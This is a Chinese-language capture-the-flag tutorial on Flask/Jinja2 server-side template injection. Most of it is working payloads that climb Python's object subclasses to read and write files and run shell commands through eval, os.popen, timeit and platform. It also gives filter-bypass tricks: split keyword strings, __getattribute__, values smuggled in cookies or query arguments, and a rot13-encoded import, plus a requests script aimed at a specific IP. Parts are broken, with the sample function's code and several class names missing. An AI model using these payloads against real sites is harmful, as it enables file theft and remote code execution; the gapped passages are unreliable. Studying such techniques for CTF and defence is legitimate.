Flask 是python语言编写的轻量级的MVC (也可以称为MTV, T: Template)框架具体详见http://docs.jinkan.org/docs/flask/ 对于Flask 框架本身,本文不做讨论。
我们看一下测试代码中的 hello_ssti函数
【功能 打印 hello + 用户传入的name值】
函数中模板内容 template = '''
就是简单的字符串替换,这会引发什么安全问题吗?我们看例子:
运行后,浏览器访问: http://localhost:5000(Flask开发的程序,默认监听端口为5000)
OK, 默认打印Hello World。
但是,如果传入的name 参数值为恶意代码会怎么样?
引发敏感信息泄露
http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}
secret 值被泄露 来源: http://www.freebuf.com/articles/web/135953.html
那么好了,我们已经知道了大概的原理,实际上感觉类似于XSS一样的原理,特殊情况下的数据会被当做代码执行,而且要记住两对{}才可以呦,那么就是接下来的第二个部分,如何实现充分的利用。在python中存在很多的库函数,可以供我们使用来达到一定的功能,那么怎么来使用呢?
我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下:
().__class__.__bases__[0]
''.__class__.__mro__[2]
# 验证如下
>>> print ''.__class__.__mro__[2]
>>> print ().__class__.__bases__[0]
从代码上我们比较好理解,就是从()
找到它的父类也就是__bases__[0]
,而这个父类就是Python
中的根类
,它里面有很多的子类,包括file
等,这些子类中就有跟os
、system
等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。
然后我们看一下
存在一个hook函数,直接可以调用
存在file类型的object,事实上调用后可以对文件操作了,这也是我们比赛时经常用到的一个函数
利用代码如下:
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
(1)采用类似于数组的方法,使用下标访问函数[index]
(2)使用名称直接访问,类似于[‘function name’]
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
eval('__import__("os").system("dir")')
(3)platform
import platform
print platform.popen('dir').read()
(4)random和math
经常我们在比赛中不会轻易地随意使用函数和关键字,都会被后台给过滤掉,那么我们就需要掌握一些染过的方法,我们的绕过的思路主要分两种,第一种就是进行字符串的拼接,避开关键词的使用,第二种方法就是作为参数的方法传入,可以躲避过滤。
(1)拼接绕过
在模板的url路径中,首先是支持字符串连接的,会在后台进行组合,比如我们可以吧获取object的代码这样写:
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
当然函数名字也可以写成这个样子:
'.re'+'ad()' # 相当于'.read()'
第三个实际上就是一个函数用来躲避关键字的检查,如func_globals
中存在ls
,read关键字和class等,这也是做题时卡着的地方。而这些都可以用__getattribute__
进行突破,大概的原理如下:
# 我们想要的代码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]
# 进行关键字绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']
大概的原理是这样的,一般检查的时候只是检查url链接中的关键字,并没有对参数和cookies进行检查,那么我们就可以使用变量和数值的方法,url中使用变量代替我们的关键字,在参数中将实际的值附上,代码和讲解如下:
第一个是关于request的有关知识,我们知道这是一个用于web请求的库,它是存在有关参数的用法的,在《Flask request获取参数问题》一文中曾经提到过,分别通过3中方式获取参数:request.form, request.args,request.values
request.form.get("key", type=str, default=None) 获取表单数据
request.args.get("key") 获取get请求参数
request.values.get("key") 获取所有参数
用处不大啊,就是说一下基础,那么我们在构造url连接时,也可以使用request中的变量,包括arg和cookies等,当然肯定还有其他的用法,加入我们要读取文件a.php,而class和read等关键字都被屏蔽了,我们可以这么做:
import requests
# 注意是两对{},上文已经讲过为什么了,这里用的是cookies的方式
url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}'''
cookies = {}
cookies['a'] = '__class__'
cookies['b'] = '__mro__'
cookies['c'] = '__subclasses__'
cookies['d'] = 'read'
print requests.get(url,cookies=cookies).text
当然,我们也可以构造get的参数来传递:
www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}}
?clas=__class__&mr=__mro__&subclas=__subclasses__
下面这个是大佬提供的另外一种方法,供大家参考吧:
www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
另外需要提示的一点,我们既然都可以执行命令了,当然可以使用模板注入的方式获取浏览器的一些关键变量,环境等信息,如{{var}}通过变量的形式获取某些变量,在初始将院里的时候已经展示过了,这是一个关键一点,此类题目的时候留意一些
1、注意题目为python2
还是python3
的环境,其对应的库会有很大的一个差距,但总体来说,python27
有的,python3
都有,但需要改变相应下标
2、曲径通幽,多绕绕,最终获得你想要的模块,认真找,慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__()
出发,查看可用的类
若类中有file
,考虑读写操作
若类中有
,考虑从.__init__.func_globals.values()[13]
获取eval
,map
等等;又或者从.__init__.func_globals[linecache]
得到os
若类中有
,
,
,考虑构造so文件
其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解
3、分析ban
函数的时候考虑使用字符串拼接结合__getattribute__
绕过;当然也可以考虑base64
加解密来进行绕过,这部分可以参考sql注入的绕过思想
4、两个不常见的执行任意命令的方法:
import timeit timeit.timeit("__import__('os').system('dir')",number=1) import platform print platform.popen('dir').read() timeit 考虑time based rce
5、注意一种简单题型,出题者只做了如下一些处理:
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement >>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous >>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file >>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
看起来好像已经非常安全是么?但是,reload(module)
重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。
6、导入模块的方式。
以commands
模块为列:
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')